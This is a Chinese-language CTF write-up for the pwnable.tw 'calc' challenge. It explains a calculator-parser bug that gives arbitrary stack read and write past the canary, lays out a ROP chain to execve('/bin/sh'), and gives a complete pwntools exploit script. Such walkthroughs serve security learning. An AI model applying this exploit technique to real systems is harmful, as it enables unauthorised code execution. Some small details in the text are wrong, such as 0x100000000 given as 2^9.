这题的漏洞还是挺有意思的
先逆向分析一下binary的逻辑
看calc函数
通过get_expr获得输入，会过滤掉除了+，-，*，/，%和数字以外的字符
再传入parse_expr处理
注意用于存放表达式的buffer每次都会清空，而且有canary保护
再看parse_expr函数
主要的逻辑是解析表达式，把操作符 放入s[v8]
把操作数放入a2，这里需要注意的是a2的第一个元素是操作数的个数，之后才依次是各操作数
然后把a2和s[v8]传入eval中计算
eval函数
这里的a1就是前面的a2
所以相当于 a2[a2[0]-1] op= a2[a2[0]] 得到计算结果
一直到这里都没有看到什么明显的洞
参考了别人的wp：
http://dogewatch.github.io/2017/04/10/pwnable.tw-Part1/
http://www.tuicool.com/articles/VNzqea3
问题出在当输入的表达式是以运算符开头的比如“+300”时
此时数组a2的内容是 a2[0]=1,a2[1]=300
运算后的结果是a2[0]=301,a2[1]=300
更进一步，如果我们的输入是“+300+1”
那么进过第二次计算，实际执行的是 a2[300]=a2[300]+1
相当于可以执行栈上的任意写，由于并不是通过溢出来写的，因此canary无法提供防护
但要劫持控制流还需要泄露栈地址
看calc中的printf('%d',v2[v1-1])，v2是栈上的数组，v1是上面的a2[0],是我们可控的，因此这里可以执行栈上的任意读，就可以泄露栈的信息
要泄露栈上的信息还要弄清楚栈的具体结构，通过阅读calc的汇编和GDB调试，可以得到如下图的结构
因此输入+361 就可以泄露出返回地址
由于开启了NX，不能直接执行shellcode，需要通过ROP劫持控制流，而且并没有动态链接库，不能使用GOT 调sys函数，还是只能通过int 80h进行系统调用
sys_execv 需要的参数
eax=0xb ebx 指向 “/bin/sh” ecx=0 edx=0
通过ROPgadget查找合适的指令，需要构造这样的栈
370 “/sh”
369 "/bin"
368 int 80h #8049a21
367 ebx的值 #通过泄露栈上的内容计算得到
366 0x0
365 0x0
364 pop edx; pop exc; pop ebx; ret #80701d0
363 dec,eax; ret #8065773
362 0x0
361（返回地址）mov eax，0xc; pop edi; ret #808f936
分析清楚了要构造的场景，剩下的就靠我们通过输入的畸形表达式来计算并设置initpool的361~370这十个栈单元。对于每一个栈单元，我们首先获取其内的值，而后计算该值与目标值的差，最后相减即可。比如我们要将362位置上的值变为11，首先输入“+362”得到当前362栈单元的值135184896，然后计算135184896-11=135184885，最后输入“+362-135184885”将栈内值修改为11。
比较麻烦的是ebx的值的就算，这只能通过相对偏移进行计算。我们可以从栈上泄露出main的ebp，main的ebp同calc函数的返回地址之间是main的栈空间，ebx同calc函数的返回地址之间的偏移是32字节（369-361）。因此需要知道main函数的栈有多大。通过main的汇编，观察ebp和esp的操作
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h
根据泄露出的ebp，得到其栈空间应该为24byte。这边还有一个问题，ebp应该是无符号数，但是被当作有符号数输出，输出的是负数，需要加上0x100000000（2^9）才是无符号数的真实值。得到ebx的值之后只需要利用上述的任意写漏洞写栈上的空间即可。
后来发现这边还有一个坑。就是写ebx的时候如果使用加上0x100000000后的值作为main_ebp,那么ebx的目标值会很大，输入+367+（目标值-diff）后会产生一个溢出，导致最后实际的值并不是我们想要的。此时依旧可以用输出值(一个负数)作为main_ebp，这样可以避免溢出，并且正确设置ebx的值
最终的利用脚本：
from pwn import *
HOST = 'chall.pwnable.tw'
PORT = 10100
con=remote(HOST,PORT)
context.log_level="debug"
con.recv(1024)
stack=[0x808f936,0x0,0x8065773,0x80701d0,0,0,0,0x8049a21,u32("/bin"),u32("/sh\x00")]
def get_ebx():
con.sendline("+360")
i=con.recv()
main_ebp=int(i)+0x100000000
#size=main_ebp-(main_ebp& 0xFFFFFFF0-16)
size=24 #size is 24
ebx=main_ebp-(size+4)+4*8
print hex(ebx)#usigned value
ebx=int(i)-(size+4)+4*8
print hex(ebx) #signed value
return ebx
def set_val(index,val):
con.sendline("+"+str(index))
val1=int(con.recv(1024))
print val1
diff=val-val1
if(diff<0):
payload="+"+str(index)+str(diff)
else:
payload="+"+str(index)+"+"+str(diff)
con.sendline(payload)
con.recv(1024)
print "set",str(index)," : ",hex(val)
if(index==367):
con.sendline("+"+str(index))
val2=int(con.recv(1024))+0x100000000
print hex(val2)
stack[6]=get_ebx()
print stack
base=361
for x in stack:
set_val(base,x)
base+=1
con.sendline("aaaaa")
con.sendline("bbbbb")
con.interactive("shell:")
